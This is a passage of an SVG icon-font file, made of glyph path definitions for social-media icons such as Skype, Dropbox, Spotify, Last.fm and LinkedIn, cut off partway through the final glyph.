<glyph unicode="&#xe313;" d="M 189.683,364.624C 92.221,348.272, 17.92,263.555, 17.92,161.434c0-50.758, 18.39-97.194, 48.81-133.078c 72.15,34.922, 122.573,113.904, 122.954,205.856L 189.683,364.624 z
	 M 224.022,109.421c-12.835-53.155-51.184-98.582-98.963-128.778c 29.366-16.106, 63.078-25.267, 98.941-25.267c 35.885,0, 69.574,9.162, 98.963,25.29
	C 275.184,10.861, 236.858,56.266, 224.022,109.421z M 258.362,235.197c0-92.378, 50.534-171.786, 122.909-206.842c 30.419,35.93, 48.81,82.342, 48.81,133.078
	c0,102.099-74.256,186.816-171.718,203.168L 258.362,235.197 z" data-tags="renren, social" />
<glyph unicode="&#xe314;" d="M 272.474,163.293c-5.152,3.45-11.514,6.429-18.816,8.87C 246.4,174.538, 238.224,176.755, 229.309,178.704C 222.275,180.384, 217.146,181.683, 214.077,182.557
	C 211.098,183.408, 208.118,184.595, 205.229,186.096C 202.429,187.53, 200.211,189.254, 198.666,191.226C 197.187,193.085, 196.47,195.213, 196.47,197.811
	c0,4.211, 2.24,7.773, 6.832,10.864c 4.771,3.226, 11.2,4.838, 19.085,4.838c 8.49,0, 14.672-1.456, 18.39-4.346
	c 3.808-3.002, 7.146-7.213, 9.856-12.589c 2.397-4.211, 4.502-7.123, 6.608-9.005c 2.195-2.016, 5.376-3.046, 9.453-3.046
	c 4.502,0, 8.31,1.635, 11.334,4.861c 2.979,3.226, 4.502,6.899, 4.502,10.931c0,4.211-1.187,8.557-3.45,12.925
	c-2.24,4.301-5.869,8.49-10.685,12.387c-4.816,3.853-10.931,6.989-18.189,9.318c-7.213,2.33-15.859,3.472-25.693,3.472
	c-12.298,0-23.162-1.747-32.301-5.219C 182.918,229.664, 175.728,224.534, 170.8,217.926C 165.85,211.274, 163.341,203.546, 163.341,194.989
	c0-8.96, 2.397-16.621, 7.123-22.691c 4.659-6.026, 11.021-10.797, 18.906-14.269c 7.728-3.36, 17.427-6.362, 28.851-8.87
	c 8.4-1.792, 15.21-3.517, 20.205-5.13c 4.794-1.523, 8.781-3.786, 11.738-6.675c 2.845-2.755, 4.234-6.25, 4.234-10.73
	c0-5.645-2.666-10.259-8.154-14.134c-5.6-3.942-13.059-5.936-22.176-5.936c-6.608,0-12.006,0.986-15.994,2.934
	c-3.965,1.926-7.078,4.39-9.229,7.325c-2.24,3.069-4.368,6.944-6.317,11.558c-1.747,4.211-3.92,7.482-6.451,9.699
	c-2.666,2.307-5.914,3.472-9.699,3.472c-4.614,0-8.467-1.478-11.491-4.39c-3.046-2.957-4.592-6.541-4.592-10.707
	c0-6.63, 2.374-13.53, 7.034-20.451c 4.637-6.899, 10.73-12.454, 18.144-16.554c 10.349-5.645, 23.61-8.512, 39.402-8.512
	c 13.171,0, 24.73,2.106, 34.406,6.205c 9.766,4.189, 17.27,10.058, 22.355,17.45c 5.13,7.459, 7.706,15.971, 7.706,25.29
	c0,7.818-1.478,14.493-4.458,19.958C 281.926,155.229, 277.76,159.776, 272.474,163.293z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040
	c 118.787,0, 215.040,96.275, 215.040,215.040S 342.787,375.040, 224,375.040z M 275.542,39.578c-10.886,0-21.168,2.822-30.173,7.795
	c-6.541-1.254-13.261-1.904-20.16-1.904c-60.794,0-110.096,50.736-110.096,113.277c0,7.818, 0.762,15.411, 2.24,22.781
	C 111.776,191.27, 108.573,202.605, 108.573,214.723c0,36.266, 28.582,65.699, 63.84,65.699c 12.499,0, 24.125-3.696, 33.981-10.080C 212.486,271.44, 218.781,272, 225.21,272
	c 60.794,0, 110.096-50.736, 110.096-113.277c0-8.333-0.874-16.464-2.531-24.304c 4.234-8.803, 6.608-18.682, 6.608-29.187
	C 339.36,68.989, 310.8,39.578, 275.542,39.578z" data-tags="skype, social" />
<glyph unicode="&#xe315;" d="M 418.23,114.349c 2.979,13.978, 4.547,28.493, 4.547,43.411c0,111.686-88.010,202.25-196.582,202.25c-11.446,0-22.691-1.030-33.6-2.957
	C 174.989,368.432, 154.224,375.040, 131.914,375.040C 68.97,375.040, 17.92,322.512, 17.92,257.731c0-21.638, 5.734-41.91, 15.68-59.315
	c-2.598-13.126-3.987-26.723-3.987-40.656c0-111.686, 88.032-202.25, 196.582-202.25c 12.298,0, 24.349,1.165, 35.997,3.382
	c 16.038-8.87, 34.384-13.91, 53.872-13.91c 62.989,0, 114.016,52.506, 114.016,117.286C 430.080,80.973, 425.802,98.669, 418.23,114.349z M 327.018,61.082
	c-9.094-13.238-22.534-23.744-39.939-31.181c-17.248-7.37-37.878-11.11-61.421-11.11c-28.246,0-51.901,5.107-70.381,15.21
	c-13.216,7.325-24.102,17.27-32.368,29.523c-8.355,12.41-12.589,24.707-12.589,36.557c0,7.414, 2.755,13.843, 8.198,19.107
	c 5.398,5.197, 12.298,7.862, 20.518,7.862c 6.742,0, 12.589-2.083, 17.315-6.182c 4.525-3.965, 8.4-9.811, 11.514-17.315
	c 3.494-8.221, 7.28-15.142, 11.29-20.608c 3.853-5.242, 9.408-9.677, 16.486-13.126c 7.123-3.45, 16.733-5.219, 28.56-5.219
	c 16.24,0, 29.568,3.562, 39.581,10.618c 9.811,6.899, 14.56,15.142, 14.56,25.245c0,7.974-2.486,14.269-7.594,19.174
	c-5.354,5.13-12.432,9.139-20.989,11.894c-8.938,2.867-21.078,5.958-36.064,9.184c-20.406,4.502-37.744,9.834-51.52,15.859
	C 148.109,162.71, 136.73,171.267, 128.419,181.974c-8.445,10.842-12.723,24.506-12.723,40.544c0,15.277, 4.48,29.053, 13.35,40.925
	c 8.803,11.782, 21.616,20.966, 38.147,27.261C 183.523,296.909, 202.944,300.067, 224.896,300.067c 17.562,0, 32.995-2.106, 45.875-6.205
	c 12.947-4.166, 23.878-9.766, 32.458-16.666c 8.646-6.966, 15.075-14.403, 19.13-22.086c 4.077-7.818, 6.138-15.568, 6.138-23.072
	c0-7.235-2.71-13.798-8.064-19.533c-5.376-5.757-12.186-8.669-20.182-8.669c-7.258,0-12.97,1.837-16.934,5.421
	c-3.674,3.338-7.504,8.579-11.715,16.061c-4.906,9.61-10.842,17.158-17.629,22.467c-6.63,5.174-17.651,7.818-32.838,7.818
	c-14.090,0-25.558-2.912-34.070-8.669C 178.842,241.379, 174.877,235.040, 174.877,227.536c0-4.614, 1.277-8.467, 3.92-11.76
	c 2.8-3.517, 6.72-6.608, 11.715-9.162c 5.152-2.666, 10.483-4.794, 15.814-6.317c 5.466-1.546, 14.627-3.853, 27.216-6.854
	c 15.904-3.517, 30.509-7.459, 43.434-11.693c 13.104-4.301, 24.416-9.632, 33.645-15.792c 9.408-6.317, 16.867-14.426, 22.154-24.080
	c 5.286-9.722, 7.974-21.706, 7.974-35.616C 340.771,89.552, 336.157,74.387, 327.018,61.082z" data-tags="skype, social" />
<glyph unicode="&#xe316;" d="M 125.418,192.659c0,36.669, 9.722,59.987, 42.314,65.229c 11.379,2.24, 35.078,1.434, 50.154,1.434l0-56 c0-0.493, 0.067-1.411, 0.202-1.882
	C 218.691,199.2, 220.73,197.52, 223.171,197.52c 1.389,0, 2.666,0.717, 4.010,2.016l 139.664,139.642L 273.078,339.2L 169.098,339.2 C 86.8,339.2, 44.8,291.802, 44.8,203.322l0-185.651 
	l 80.618,80.685L 125.418,192.659 z M 322.605,221.622l0-94.282 c0-36.669-9.744-60.010-42.336-65.229c-11.379-2.24-35.056-1.434-50.131-1.434l0,56 
	c0,0.493-0.090,1.411-0.202,1.882c-0.627,2.262-2.688,3.92-5.13,3.942c-1.389,0-2.643-0.717-4.010-2.038l-139.664-139.619L 174.922-19.2
	l 104.003,0 C 361.2-19.2, 403.2,28.176, 403.2,116.678L 403.2,302.33 L 322.605,221.622z" data-tags="flattr, social" />
<glyph unicode="&#xe317;" d="M 388.394,287.501c0,25.76-38.797,28.627-38.797,28.627l-91.146,5.734c0,0-1.949,24.819-20.384,33.421
		c-18.413,8.579-38.662,5.981-53.2,5.824S 166.858,342.381, 166.858,324.864s 0.336-37.677, 0.336-50.4c0-22.758-10.013-32.458-35.078-32.458L 80.438,242.006 
		C 65.99,242.947, 54.723,240.573, 54.723,228.88c0-11.67, 17.024-111.373, 40.365-134.378c 13.552-13.35, 96.41-22.714, 113.859-22.714s 11.648,51.542, 16.486,51.542
		s 10.192-29.12, 37.677-35.93c 27.485-6.854, 64.176-5.578, 66.125-25.133c 2.531-25.805, 4.838-59.203-12.141-61.578l-38.416-1.523
		c-26.342,1.904-19.286,30.666-7.661,30.666s 17.45,0.47, 17.45,0.47l 1.456,31.494c0,0-60.323,7.123-62.899-33.578
		c-2.33-37.184, 4.054-54.723, 8.736-58.531C 240.464-34.163, 248.573-41.6, 322.448-41.6C 426.541-41.6, 388.394,261.763, 388.394,287.501z M 345.856,152.81
		C 341.779,148.464, 326.995,160, 312.883,160c-14.134,0-29.389-7.482-32.973-2.576c-3.562,4.928, 3.293,44.621, 29.904,44.621
		S 349.955,157.178, 345.856,152.81zM 129.987,290.682c0,5.085, 1.322,66.842, 1.322,66.842L 52.774,280.49c0,0, 54.253,0, 64.893,0C 128.352,280.49, 129.987,285.574, 129.987,290.682z" data-tags="evernote, social" />
<glyph unicode="&#xe318;" d="M 136.842,363.795L 8.96,284.141l 87.606-73.45L 224,293.459L 136.842,363.795z M 301.325,25.734c-2.285,0-4.547,0.784-6.384,2.33L 224,86.886
	l-70.941-58.845c-1.837-1.523-4.122-2.33-6.384-2.33c-1.904,0-3.808,0.515-5.466,1.613l-52.55,34.384l0-20.294 L 224-43.795l 135.341,85.232
	l0,20.294 l-52.55-34.384C 305.133,26.25, 303.229,25.734, 301.325,25.734z M 439.040,284.141l-127.882,79.654L 224,293.459l 127.411-82.746L 439.040,284.141z
	 M 224,131.082l 79.005-65.587l 126.381,82.611l-77.952,62.586L 224,131.082z M 144.995,65.494L 224,131.082L 96.589,210.714l-77.952-62.608L 144.995,65.494z" data-tags="dropbox, social" />
<glyph unicode="&#xe319;" d="M 340.48,160c0-64.333-52.17-116.48-116.48-116.48c-64.333,0-116.48,52.147-116.48,116.48c0,7.661, 0.762,15.142, 2.195,22.4L 31.36,182.4 l0-154.829 
	c0-33.242, 26.925-60.211, 60.211-60.211l 264.858,0 c 33.242,0, 60.211,26.947, 60.211,60.211L 416.64,182.4 l-78.333,0 C 339.718,175.142, 340.48,167.661, 340.48,160z M 356.429,352.64
	L 91.571,352.64 C 58.307,352.64, 31.36,325.67, 31.36,292.429L 31.36,227.2 l 97.53,0 C 149.968,256.992, 184.71,276.48, 224,276.48s 74.032-19.488, 95.11-49.28L 416.64,227.2 L 416.64,292.429 
	C 416.64,325.67, 389.67,352.64, 356.429,352.64z M 385.885,278.272c0-5.936-4.838-10.752-10.752-10.752l-32.234,0 c-5.914,0-10.752,4.838-10.752,10.752L 332.147,310.528 
	c0,5.936, 4.861,10.752, 10.752,10.752l 32.234,0 c 5.936,0, 10.752-4.838, 10.752-10.752L 385.885,278.272 z M 295.68,160c0,39.603-32.099,71.68-71.68,71.68S 152.32,199.603, 152.32,160
	s 32.099-71.68, 71.68-71.68S 295.68,120.397, 295.68,160z" data-tags="instagram, social" />
<glyph unicode="&#xe31a;" d="M 380.912,92.352c-17.45,12.298-39.222,11.424-51.61-6.16s-98.963-126.179-240.8-81.088c 5.331-4.659, 10.976-9.094, 16.89-13.261
	c 93.050-65.52, 221.581-43.21, 287.123,49.862C 404.88,59.29, 398.339,80.077, 380.912,92.352z M 107.184,106.24c-9.050,19.51-59.786,148.803, 50.176,249.088
	c-6.72-2.307-13.35-4.95-19.914-7.997C 34.16,299.507-10.774,177.024, 37.050,73.738c 9.027-19.533, 30.307-24.282, 49.661-15.322
	C 106.064,67.398, 116.211,86.707, 107.184,106.24z M 242.502,365.587c-21.414,1.926-36.154-14.112-38.080-35.37c-1.904-21.258, 9.744-39.67, 31.158-41.597
	c 21.437-1.926, 158.749-22.624, 190.624-168.022c 1.389,6.966, 2.374,14.045, 3.046,21.258C 439.443,255.2, 355.846,355.373, 242.502,365.587z M 154.358,148.15
	c-5.891-13.91-6.854-27.171-2.106-29.635c 3.27-1.702, 8.378,2.195, 13.171,9.318c 1.904-7.795, 6.608-14.806, 13.328-20.451
	c-7.034-2.598-11.648-6.854-11.648-11.67c0-7.907, 12.454-14.314, 27.798-14.314c 13.843,0, 25.312,5.197, 27.44,12.029c 0.56,0, 2.755,0, 3.293,0
	c 2.15-6.832, 13.597-12.029, 27.462-12.029c 15.366,0, 27.798,6.406, 27.798,14.314c0,4.816-4.592,9.050-11.648,11.67
	c 6.698,5.645, 11.424,12.656, 13.306,20.451c 4.816-7.123, 9.901-11.021, 13.194-9.318c 4.749,2.464, 3.808,15.725-2.128,29.635
	c-4.637,10.886-10.931,18.95-15.725,20.742c 0.067,0.672, 0.112,1.389, 0.112,2.106c0,4.211-1.187,8.109-3.203,11.29
	c 0.045,0.246, 0.045,0.493, 0.045,0.739c0,1.949-0.47,3.763-1.254,5.331C 272.384,216.717, 253.904,239.274, 224,239.274S 175.594,216.717, 174.384,188.358
	C 173.6,186.768, 173.13,184.954, 173.13,183.005c0-0.246,0-0.493, 0.022-0.739C 171.181,179.107, 169.994,175.21, 169.994,170.976
	c0-0.717, 0.045-1.411, 0.090-2.106C 165.312,167.078, 158.995,159.037, 154.358,148.15z" data-tags="qq, social, brand" />
<glyph unicode="&#xe31b;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040c0-54.298, 20.115-103.891, 53.312-141.702c 33.645,33.645, 79.722,52.528, 132.608,50.826
	c 67.469-2.195, 120.736-34.138, 151.267-86.106C 402.259,21.814, 439.040,86.595, 439.040,160C 439.040,278.765, 342.765,375.040, 224,375.040z M 329.123,83.347
	c-3.786-6.272-11.894-8.198-18.144-4.413c-49.818,30.419-112.448,37.296-186.234,20.451c-7.078-1.635-14.202,2.8-15.792,9.946
	c-1.635,7.056, 2.778,14.179, 9.901,15.792c 80.752,18.458, 150.013,10.483, 205.878-23.61C 330.96,97.706, 332.954,89.574, 329.123,83.347z
	 M 355.085,144.342c-4.771-7.795-14.963-10.214-22.714-5.421c-56.986,35.011-143.853,45.158-211.254,24.707c-8.758-2.643-17.987,2.307-20.608,10.998
	c-2.643,8.758, 2.285,17.987, 10.998,20.608c 76.989,23.408, 172.704,12.074, 238.157-28.134C 357.437,162.262, 359.878,152.138, 355.085,144.342z
	 M 357.302,207.533C 288.982,248.144, 176.288,251.84, 111.059,232.061C 100.576,228.858, 89.51,234.771, 86.33,245.254C 83.171,255.738, 89.085,266.848, 99.523,269.984
	c 74.906,22.736, 199.36,18.346, 278.006-28.358c 9.43-5.6, 12.544-17.763, 6.966-27.194C 378.874,205.046, 366.733,201.955, 357.302,207.533z M 193.514,4.813
	c-30.262,0.963-55.44-10.819-73.83-32.883C 150.573-45.251, 186.144-55.040, 224-55.040c 18.256,0, 35.974,2.285, 52.909,6.563
	C 260.691-15.168, 232.4,3.558, 193.514,4.813z" data-tags="spotify, social" />
<glyph unicode="&#xe31c;" d="M 224,357.12C 115.136,357.12, 26.88,268.864, 26.88,160c0-49.773, 18.435-95.222, 48.877-129.898c 30.822,30.822, 73.069,48.138, 121.565,46.57
	c 61.846-1.994, 110.656-31.293, 138.656-78.915C 387.408,33.328, 421.12,92.71, 421.12,160C 421.12,268.864, 332.842,357.12, 224,357.12z M 320.387,89.731
	c-3.472-5.757-10.909-7.526-16.621-4.054c-45.651,27.888-103.085,34.182-170.733,18.749c-6.496-1.501-13.014,2.576-14.47,9.117
	c-1.501,6.496, 2.554,12.992, 9.094,14.47c 74.010,16.912, 137.514,9.61, 188.72-21.638C 322.067,102.88, 323.882,95.443, 320.387,89.731z
	 M 344.131,145.642c-4.368-7.123-13.686-9.341-20.81-4.95C 271.13,172.768, 191.475,182.064, 129.696,163.315C 121.677,160.896, 113.21,165.421, 110.79,173.395
	C 108.371,181.414, 112.896,189.882, 120.87,192.301c 70.582,21.437, 158.323,11.066, 218.31-25.805C 346.304,162.083, 348.566,152.81, 344.131,145.642z M 346.192,203.568
	C 283.584,240.797, 180.253,244.179, 120.467,226.058C 110.88,223.123, 100.733,228.566, 97.776,238.154C 94.886,247.763, 100.307,257.933, 109.917,260.822
	c 68.656,20.854, 182.739,16.822, 254.822-25.984c 8.646-5.13, 11.491-16.285, 6.362-24.909C 365.971,201.306, 354.861,198.483, 346.192,203.568z M 196.045,17.738
	c-27.731,0.896-50.826-9.923-67.67-30.15C 156.688-28.138, 189.28-37.12, 224-37.12c 16.733,0, 32.995,2.083, 48.496,6.026
	C 257.622-0.586, 231.706,16.595, 196.045,17.738z" data-tags="spotify, social" />
<glyph unicode="&#xe31d;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 300.227,171.581
	c 0.493-3.786, 0.762-7.661, 0.762-11.581c0-48.765-39.021-88.278-87.181-88.278c-48.115,0-87.158,39.536-87.158,88.278s 39.021,88.256, 87.158,88.256
	c 6.922,0, 13.619-0.851, 20.070-2.374L 233.878,195.616 C 223.686,199.334, 211.165,198.774, 199.36,193.107c-21.325-10.304-32.166-33.466-24.17-51.766
	c 7.997-18.256, 31.763-24.73, 53.088-14.448c 14.694,7.078, 27.664,24.17, 27.664,45.584L 255.942,237.28 c 1.837-1.030, 3.606-2.128, 5.354-3.27
	c 16.576-10.416, 41.171-24.326, 69.933-25.782C 342.451,207.645, 326.838,179.443, 300.227,171.581z" data-tags="rdio, social" />
<glyph unicode="&#xe31e;" d="M 356.966,182.938c 52.662,15.568, 83.53,71.366, 61.354,72.486c-56.918,2.89-105.594,30.464-138.387,51.072
	c-3.472,2.285-7.011,4.458-10.662,6.496l0-128.24 c0-42.403-25.648-76.182-54.723-90.227c-42.224-20.384-89.264-7.594-105.078,28.582
	c-15.814,36.176, 5.6,82.029, 47.824,102.39c 23.363,11.267, 48.16,12.365, 68.365,4.995L 225.658,329.971 C 212.89,333.018, 199.606,334.72, 185.92,334.72
	c-95.267,0-172.502-78.221-172.502-174.72c0-96.499, 77.235-174.72, 172.502-174.72c 95.29,0, 172.502,78.221, 172.502,174.72
	C 358.422,167.773, 357.93,175.434, 356.966,182.938z" data-tags="rdio, social" />
<glyph unicode="&#xe31f;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 283.248,96.608
	c-44.845,0-60.413,20.384-68.678,45.741L 206.237,168.49C 200.032,187.552, 195.014,201.35, 172.211,201.35c-15.814,0-36.422-10.371-36.422-42.515
	c0-25.088, 17.248-40.768, 35.123-40.768c 15.187,0, 24.282,8.534, 29.030,12.79l 7.93-22.646c-5.398-3.92-16.442-11.603-38.237-11.603
	c-30.128,0-58.8,21.437-58.8,61.152c0,41.306, 29.859,65.61, 60.614,65.61c 34.474,0, 47.309-12.566, 58.218-46.525l 8.557-26.118
	c 6.227-19.107, 19.376-32.95, 45.562-32.95c 17.629,0, 26.97,3.942, 26.97,13.574c0,7.594-4.413,13.082-17.629,16.218l-17.629,4.189
	c-21.526,5.219-30.083,16.464-30.083,34.25c0,28.47, 22.826,37.363, 46.166,37.363c 26.454,0, 42.515-9.677, 44.576-33.174l-25.917-3.158
	c-1.030,11.245-7.773,15.949-20.227,15.949c-11.402,0-18.39-5.219-18.39-14.112c0-7.862, 3.36-12.566, 14.784-15.165l 16.576-3.651
	c 22.288-5.219, 34.227-16.218, 34.227-37.386C 337.187,106.531, 315.392,96.608, 283.248,96.608z" data-tags="lastfm, social" />
<glyph unicode="&#xe320;" d="M 176.378,102.275c-9.386-8.422-27.418-25.312-57.434-25.312c-35.414,0-69.53,31.046-69.53,80.707c0,63.638, 40.768,84.157, 72.083,84.157
		c 45.158,0, 55.059-27.238, 67.357-65.005l 16.419-51.744c 16.397-50.154, 47.197-90.496, 135.968-90.496c 63.661,0, 106.758,19.645, 106.758,71.366
		c0,41.91-23.632,63.638-67.738,73.987L 347.424,187.149c-22.579,5.174-29.254,14.47-29.254,30.016c0,17.584, 13.843,27.933, 36.422,27.933
		c 24.64,0, 37.968-9.318, 40.029-31.562l 51.318,6.205C 441.84,266.288, 410.032,285.44, 357.683,285.44c-46.189,0-91.325-17.584-91.325-73.965
		c0-35.168, 16.934-57.411, 59.494-67.76l 34.922-8.266c 26.163-6.205, 34.899-17.091, 34.899-32.099c0-19.13-18.48-26.88-53.379-26.88
		c-51.811,0-77.862,27.418-90.16,65.162l-16.957,51.744C 213.629,260.598, 188.182,285.44, 119.93,285.44C 59.091,285.44,0,237.325,0,155.61
		C0,76.963, 56.717,34.56, 116.346,34.56c 43.12,0, 65.005,15.142, 75.712,22.915L 176.378,102.275z" data-tags="lastfm, social" />
<glyph unicode="&#xe321;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224,209.616
	c-6.563,0-11.894-5.331-11.894-11.872l0-70.963 c0-27.843-22.714-50.534-50.646-50.534c-27.91,0-50.646,22.691-50.646,50.534l0,29.702 l 38.73,0 l0-29.702 
	c0-6.541, 5.331-11.85, 11.894-11.85s 11.894,5.309, 11.894,11.85L 173.331,197.744 C 173.354,225.61, 196.090,248.256, 224,248.256s 50.646-22.669, 50.646-50.534l0-13.53 
	l-23.296-7.459l-15.434,7.459L 235.917,197.744 C 235.894,204.285, 230.563,209.616, 224,209.616z M 337.187,126.781c0-27.843-22.736-50.534-50.646-50.534
	c-27.933,0-50.646,22.691-50.646,50.534L 235.894,157.088 l 15.434-7.459l 23.296,7.459l0-30.33 c0-6.541, 5.331-11.85, 11.894-11.85s 11.872,5.309, 11.872,11.85
	l0,29.702 l 38.752,0 L 337.142,126.781 z" data-tags="stumbleupon, social" />
<glyph unicode="&#xe322;" d="M 247.565,203.456l 30.554-14.762l 46.122,14.762L 324.24,230.224 C 324.24,285.373, 279.283,330.24, 224,330.24c-55.261,0-100.218-44.867-100.218-100.016l0-140.448 
	c0-12.947-10.573-23.498-23.542-23.498s-23.542,10.55-23.542,23.498L 76.698,148.576 L0,148.576 l0-58.8 C0,34.627, 44.957-10.24, 100.24-10.24s 100.24,44.867, 100.24,100.016
	l0,140.448 c0,12.947, 10.573,23.498, 23.542,23.498c 12.992,0, 23.565-10.55, 23.565-23.498L 247.587,203.456 z M 371.325,148.576l0-58.8 c0-12.947-10.573-23.498-23.542-23.498
	c-12.992,0-23.565,10.55-23.565,23.498l0,59.987 l-46.122-14.762l-30.554,14.762l0-59.987 c0-55.149, 44.957-100.016, 100.24-100.016
	c 55.261,0, 100.218,44.867, 100.218,100.016L 448,148.576 L 371.325,148.576 z" data-tags="stumbleupon, social" />
<glyph unicode="&#xe323;" d="M 229.802,160.381c 0.762,0.246, 1.523,0.47, 2.33,0.717c-1.859,4.166-3.92,8.445-6.25,13.059
	c-42.112-12.454-82.432-12.589-89.622-12.499C 136.214,161.12, 136.192,160.538, 136.192,160c0-21.168, 7.616-41.53, 21.459-57.501
	C 162.288,109.958, 186.726,146.448, 229.802,160.381z M 281.232,226.55C 265.306,240.259, 245.034,247.786, 224,247.786c-6.339,0-12.723-0.694-19.018-2.083
	c 4.57-6.182, 18.637-25.693, 31.83-49.795C 265.53,206.928, 278.522,222.854, 281.232,226.55z M 170.778,90.269C 186.211,78.419, 204.602,72.192, 224,72.192
	c 11.603,0, 22.848,2.24, 33.488,6.608c-1.478,8.534-6.608,34.496-18.413,65.43C 191.542,127.43, 173.622,95.824, 170.778,90.269z M 217.392,189.904
	C 203.773,213.917, 189.594,233.696, 185.718,239.005c-23.901-11.626-41.485-33.757-47.331-59.584l 0.358,0 C 147.84,179.421, 180.141,180.182, 217.392,189.904z M 257.914,148.845
	c 10.416-28.918, 15.232-52.998, 16.576-60.682c 19.085,13.44, 32.122,34.070, 36.042,56.941c-3.898,1.165-17.942,4.973-35.661,4.973
	C 269.114,150.077, 263.379,149.651, 257.914,148.845z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040c 118.787,0, 215.040,96.275, 215.040,215.040
	S 342.787,375.040, 224,375.040z M 224,54.765c-58.016,0-105.235,47.197-105.235,105.235S 165.962,265.235, 224,265.235c 58.061,0, 105.28-47.197, 105.28-105.235
	S 282.061,54.765, 224,54.765z M 244.653,180.698c 1.949-3.987, 3.741-7.974, 5.421-11.872c 0.515-1.277, 1.098-2.531, 1.613-3.808
	c 6.205,0.739, 12.813,1.12, 19.734,1.12c 19.13,0, 35.034-2.8, 40.342-3.853c-0.47,19.040-7.213,37.542-19.085,52.394
	C 289.094,210.042, 274.355,193.107, 244.653,180.698z" data-tags="dribbble, social" />
<glyph unicode="&#xe324;" d="M 214.256,217.77C 183.837,271.866, 151.312,315.949, 148.915,319.174C 99.837,295.99, 63.19,250.787, 51.789,196.288C 56.403,196.198, 129.741,195.325, 214.256,217.77
	z M 236.186,158.656c 2.33,0.739, 4.614,1.411, 6.966,2.083c-4.413,10.013-9.251,20.026-14.291,29.904c-90.63-27.104-177.61-25.155-180.701-25.066
	C 48.093,163.718, 48.026,161.882, 48.026,160c0-45.27, 17.114-86.486, 45.158-117.667c-0.045,0.045-0.134,0.157-0.134,0.157
	S 141.232,127.923, 236.186,158.656z M 115.83,21.277l 0.045,0.067c-1.322,1.030-2.71,1.949-3.987,3.024
	C 114.218,22.486, 115.83,21.277, 115.83,21.277z M 181.843,330.867C 181.686,330.822, 181.53,330.8, 181.395,330.755C 181.642,330.822, 181.821,330.845, 181.843,330.867
	L 181.843,330.867z M 340.234,292.070c-31.002,27.306-71.658,43.904-116.211,43.904c-14.314,0-28.179-1.747-41.485-4.973
	c 2.666-3.539, 35.706-47.443, 65.811-102.659C 314.698,253.229, 339.786,291.354, 340.234,292.070z M 224.022-46.080C 110.186-46.080, 17.92,46.186, 17.92,160
	s 92.266,206.080, 206.102,206.080c 113.814,0, 206.058-92.266, 206.058-206.080S 337.837-46.080, 224.022-46.080z M 253.949,131.216c-103.286-35.997-137.402-108.394-138.074-109.872
	c 29.837-23.318, 67.334-37.318, 108.147-37.318c 24.371,0, 47.578,4.95, 68.678,13.91c-2.598,15.434-12.835,69.35-37.587,133.683
	C 254.733,131.462, 254.33,131.35, 253.949,131.216z M 261.856,202.134c 4.122-8.4, 8.042-16.912, 11.693-25.536c 1.322-3.046, 2.554-6.070, 3.808-9.094
	c 60.794,7.638, 120.624-5.331, 122.573-5.757c-0.403,41.754-15.322,80.058-40.006,110.029C 359.565,271.261, 331.341,230.493, 261.856,202.134z M 288.086,139.728
	c 23.117-63.504, 32.48-115.181, 34.25-125.709c 39.536,26.678, 67.603,68.992, 75.421,118.070C 394.285,133.232, 344.982,148.845, 288.086,139.728z" data-tags="dribbble, social" />
<glyph unicode="&#xe325;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 171.36,70.87L 127.814,70.87 L 127.814,210.982 L 171.36,210.982 
	L 171.36,70.87 z M 149.318,228.186c-13.754,0-22.646,9.766-22.646,21.795c0,12.32, 9.162,21.773, 23.206,21.773s 22.646-9.453, 22.915-21.773
	C 172.816,237.93, 163.923,228.186, 149.318,228.186z M 330.378,70.87l-43.523,0 l0,77.661 c0,18.054-6.317,30.352-22.064,30.352
	c-12.029,0-19.174-8.31-22.355-16.33c-1.142-2.845-1.434-6.877-1.434-10.864l0-80.797 L 197.434,70.893 l0,95.424 c0,17.472-0.56,32.099-1.142,44.688l 37.811,0 
	l 2.016-19.466l 0.851,0 c 5.734,9.162, 19.779,22.624, 43.277,22.624c 28.65,0, 50.131-19.174, 50.131-60.435L 330.378,70.87 z" data-tags="linkedin, social" />
<glyph unicode="&#xe326;" d="M 113.702,315.68c0-23.811-17.584-43.098-46.502-43.098c-27.216,0-44.8,19.286-44.8,43.098c0,24.371, 18.166,43.098, 45.942,43.098
		S 113.142,340.051, 113.702,315.68z M 24.685-38.778L 24.685,238.534 L 110.88,238.534 l0-277.312 L 24.685-38.778 zM 162.467,150.077c0,34.586-1.142,63.504-2.285,88.458l 74.861,0 l 3.987-38.573l 1.702,0 c 11.334,18.166, 39.133,44.8, 85.635,44.8
		c 56.694,0, 99.232-37.99, 99.232-119.661l0-163.901 l-86.195,0 l0,153.686 c0,35.728-12.499,60.122-43.68,60.122c-23.811,0-37.968-16.442-44.218-32.323
		c-2.285-5.667-2.845-13.597-2.845-21.549l0-159.936 L 162.467-38.8 L 162.467,150.077 z" data-tags="linkedin, social" />
<glyph unicode="&#xe327;" d="M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160S 105.235-55.040, 224-55.040c 118.765,0, 215.018,96.275, 215.018,215.040S 342.787,375.040, 224,375.040z M 281.702,67.219
	c-8.803-4.189-16.755-7.123-23.834-8.826c-7.123-1.68-14.874-2.531-23.139-2.531c-9.408,0-17.718,1.21-24.954,3.606
	c-7.213,2.397-13.395,5.846-18.502,10.282c-5.107,4.435-8.646,9.184-10.618,14.202s-2.957,12.275-2.957,21.795L 177.699,178.794 L 154.963,178.794 L 154.963,208.25 
	c 8.064,2.666, 15.008,6.474, 20.765,11.446c 5.757,4.95, 10.394,10.909, 13.866,17.875C 193.088,244.515, 195.507,253.386, 196.806,264.115l 29.254,0 l0-52.662 l 48.81,0 
	l0-32.682 l-48.81,0 l0-53.402 c0-12.074, 0.627-19.824, 1.904-23.251s 3.606-6.16, 7.034-8.198c 4.57-2.755, 9.789-4.166, 15.635-4.166
